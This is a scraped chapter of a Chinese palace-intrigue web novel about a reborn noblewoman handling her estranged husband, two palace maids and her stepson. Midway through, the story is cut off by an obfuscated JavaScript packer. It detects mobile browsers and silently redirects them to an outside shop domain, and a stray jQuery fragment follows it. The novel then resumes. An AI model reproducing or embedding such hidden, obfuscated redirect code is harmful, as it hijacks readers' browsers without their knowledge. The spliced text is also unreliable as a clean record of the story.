些许心虚飞快被宋简之按下,宋简之心中一时有些犹疑——
莫非舒宜真发现了什么?不,不可能。
当初那样说,宋简之是存了私心。他喜爱表妹,也爱表妹诞下的那个孩儿。
但外室子终归不妥,他想的是以后借机认回。担心宜真过早有了嫡子,会徒添波折。于是寻了借口,想着最好拖一拖。
他安排的周密,便是那参奏他的御史也未能发现端倪,宜真绝不会知晓。
至此,宋简之才定了心。
他面色不动,含着怒火凝视宜真。
但与此同时又有种微妙的愉悦,丝丝缕缕萦绕在宋简之心间。她在怨他,她也不是不为所动的。
可实际上,在很早很早以前,宜真就已经不在意宋简之的怒火了——
上辈子两人吵得最凶的时候,几乎刀剑相向。她怕过,恨过,甚至生过杀心,但再汹涌的情绪,经历的多了也会麻木。
最后只剩下倦怠。
在宋简之几近凶狠的视线中,宜真拂袖,打理好刚刚失却仪态时弄乱的衣角,末了平静的回视回去。
“伯爷醉了,回去休息吧。”她道,束手于身前,仪态端方,从容自若。
刚刚那点愉悦如青烟般,微风一吹就散,宋简之有种无力感。
明明是纤弱婀娜的小女子,可却好似磐石一般,纵他怒火如惊涛骇浪,也不能动摇她分毫。
他忽然生出了一些恶意。
想让她慌乱,让她痛苦,让她的情绪被他牵动,而不是眼下这般,不为所动的冷漠模样。
种种心思翻涌,宋简之最终克制住了那些妄念,他闭了闭眼,再睁开时恢复了冷静,面上带出一抹苦笑,道,“夫人,你我夫妻,非要闹到这个地步吗?”
对这种倒打一耙的话,宜真听过不少,但再听到,还是不喜。
“伯爷醉糊涂了,喝酒闹事也就算了,竟还说起了胡话。”她道,看向候在门外的,宋简之身边的小厮,说,“你家主子发酒疯,你们也不知道劝着?”
“还不快带你家主子下去休息!”她微微蹙眉,带出了几分肃容,不怒自威。
从宫中跟出来的两个宫女见此神情微动,竟从宜真的样子中看出了些许皇后平日言行的影子来。
“我没醉。”宋简之辩驳。
宜真敷衍的嗯了一声,摆出一副不跟醉鬼计较的样子来,说,“伯爷没醉,只是喝多了。”
“瞧瞧这一身的酒气。”
宋简之嘴边上的话顿时顿住,又是那种微妙的无力感。
“我要歇在正房。”他转而道。
“不行,我闻见酒味不舒服。”宜真拒绝的干脆。
“那就在正院给我安排一个房间。”想起刚才宜真欲呕的模样,宋简之面色微绷,退而求其次道。
他几乎想甩袖离去,但不行。
在来之前,廖氏叫过宋简之去再三叮嘱,让他无论如何都要与宜真处好关系,留在正院,纵使宜真骂他,也要他忍住。
宋简之做好了准备,他也不在意宜真的责骂等等,但他受不了宜真这般的冷漠轻忽。如针般扎在他心头,拔不掉,抹不去。
这么坚持。
宜真眉微的一动,宋简之面上疏淡,其实傲气深藏于心底,最厌恶别人小瞧低看他。眼下她将不喜表现的这样明显,他竟还不放弃。
看来这次的事,真让宋家母子急了。
宜真心中不由讥嘲,若宋简之执意不肯低头,那她还要高看他一眼,可如今这般识时务,可见从前那些冷落疏离,不过是欺软怕硬,欺她无有依靠罢了。
如是想着,她便也毫不掩饰的在面上表现出来。
宜真微的扯了扯唇角,收回眼神,看向身边的阿竹。
宋简之聪慧多思,宜真刚表现出那种目光,他便直觉对方猜到了原因。
若说原本是耻辱,那现在就是羞耻,他脸颊微的绷紧,咬紧牙根。
宜真没在意宋简之的心情,吩咐阿竹,让她领宋简之下去休息。
阿竹立即领命,上前请宋简之随她去。
“你好好休息。”宋简之提步欲走,忽然想起,回头看向宜真,放缓了神情叮嘱一句。
宜真不置可否,等宋简之将要出门,才缓缓开口。
“下次若有话想与我说,伯爷记得清醒着来。”
宋简之脚下微顿,嗯了一声。
冬日夜风凛冽,却无论如何也吹不散宋简之心头高涨的火。
没错,他是故意醉酒,他做不到对宜真放下尊严与骄傲,便想借着酒意麻痹自己,好与宜真致歉和好。
但宜真看透了。
那种所有心思都被看透的羞耻,让他浑身都在轻颤。
惠和院作为襄台伯府的主院,地方自然不小,阿竹深知宜真的心意,为宋简之准备了一间远离主卧的屋舍。
-
寝室安静下来,宜真另寻了一个地方,让丫鬟们散散屋内的味道。
她没有太过在意刚刚离开的宋简之,坐下后看向跟着自己来的两位宫女,笑道,“让两位姑姑见笑了。”
两位宫女一名有幸,一名有乐。
皇后身边除了吉祥如意,平安喜乐四位贴身的大宫女外,其它都是以有起名。
宜真一开始瞧着两人二十多岁,后来一问,才知两人都快三十了。
皇后安排她们出宫,就是觉得她们年岁已经不轻了,不想她们耽搁韶华,出来也好多走走,多看看。
宜真敬重二人,口称姑姑。
“不敢。”有幸不爱说笑,瞧着有些板正,一旁的有乐却总是笑呵呵的,道,“夫人莫要这样说,折煞奴婢了。”
“娘娘让我们跟着您,那您就是我们的主子了,主仆分明,才是正理。否则让娘娘知道,怕是要责罚我们无礼了。”
有幸立即符合,“正是。”
宜真笑了笑,似是认真想了想,然后就说,“也好。”
“娘娘实在是体恤我。我从娘家只带来了两个贴身丫鬟,还有几个粗使的,正缺能管事的姑姑们,两位便就来了,以后,我身边的这些丫鬟还有那些琐事们,就要劳烦二位了。”
宜真先谢过皇后,而后徐徐道来。
“奴婢谢过夫人信任,一定尽心竭力。”有乐立即郑重道,有幸亦是点头,道,“夫人放心就是。”
宜真这才笑笑。
夏花夏叶二人之前留守伯府,并不知晓宫中的事,只是见宜真从宫中回来就带回了两人,心中也知道厉害,等得了空,忙上前讨好两人。
夏叶没想那么多,只是听了宜真的话,也过去问了好。
前朝末帝昏庸奢靡,大兴土木,宫人无数。
如今皇宫中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571553|142914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
伺候的宫人大多都是前朝留下的,有幸有乐两人亦是,她们十多岁就入了宫,在里面度过了十几年的岁月,从前朝,到今朝,不知见过多少人心险恶。
相比之下,这些小丫鬟的心思浅的就跟水一样,她们一眼就能看透。
并不复杂,但大多都是宋家安排来的人,若是遇见事,宜真肯定是要吃亏的。
这一点还是要好好想想办法。
第二日一早,宜真去跟廖氏请过安后,廖氏就把管家权全数交给了她,还叫去了管家和各个管事的婆子,当着所有人的面郑重宣布。
不是上一次的暂时接管,这一次所有钥匙对牌都交托给了她。
宜真几次推辞,最后在廖氏的执意下接过了这件事。
从廖氏处出来,她吩咐下去,要见大少爷。
夏花立即抢着叫了人去请。
梅儿多看了一眼,发觉从昨天自家夫人从宫中回来起,这个夏花就格外听话,比起之前看着顺眼多了。
倒是奸滑。
她忍不住跟阿竹嘀咕了两句。被前面的有乐听了个正着,不由一笑。奸滑有奸滑的好,只看怎么使唤。
有幸喜欢安静,不爱说话,所以留在惠和院,有乐则跟着宜真。
一路回了惠和院,宜真坐下卸了妆容钗环,只簪了几朵娟纱堆的花。
这绢花是南边进来的,一个个巧夺天工,栩栩如生。
看着简单,实则素雅精巧,别出心裁。
还没忙完,外面丫鬟就来报,说大少爷请来了。
宜真嗯了一声,想了想说,“各样点心都上一点给大少爷,看看他喜欢吃什么。”
“阿竹,你去。”宜真又叮嘱一声。
她存了和宋庸打好关系的心思,阿竹心是她的贴身丫鬟,加之心细,去了也好多看看。
阿竹立即应是。
看出自家夫人的意思,她出去先和宋简之说了一声,那边丫鬟不多时就松了点心上来。宜真不挑嘴,她这里常备的点心各种口味都有。
阿竹劝着宋庸用了些,眼瞧着他吃起来似乎都一样,一时倒也看不出喜好。
宜真忙好,换了身衣裳,出来落座。
“母亲。”宋庸忙起身见礼。
“府中不必如此多礼。”宜真温声道,让他坐下,目光扫过有喜有乐二位,见她们面色如常,垂了垂眼。
她对太子无甚印象,也不清楚对方的长相,只看着,宋庸与陛下并不相似。
宋庸忙应了是。
“过来,我好好看看你。”宜真温和招手。
她才十五,秀丽的面容尚有些青涩,偏偏笑的温和慈爱,如同年长的长辈,宋庸心里顿时有些别扭。
稍稍迟疑,慢吞吞朝宜真走过去。
宜真上辈子亲手养过一个孩子,言行自然而然的带着熟稔,见着人过来,笑着轻轻摸了摸他的头,而后搭在他的肩上。
“有些瘦,可是府上膳食不合胃口?”她温声问。
宋庸怔怔抬头看她,面上有些恍惚,心中惊疑她到底有什么目的,但……却也难掩那丝欢欣和留恋。
他懂事时姨娘就已经没了,是被嬷嬷照顾大的,长辈不喜,素来不闻不问,他孤零零长大到这个年纪,从未感受到过来亲人的温暖。
这还是第一次。
竟来自这个与他无亲无故的嫡母。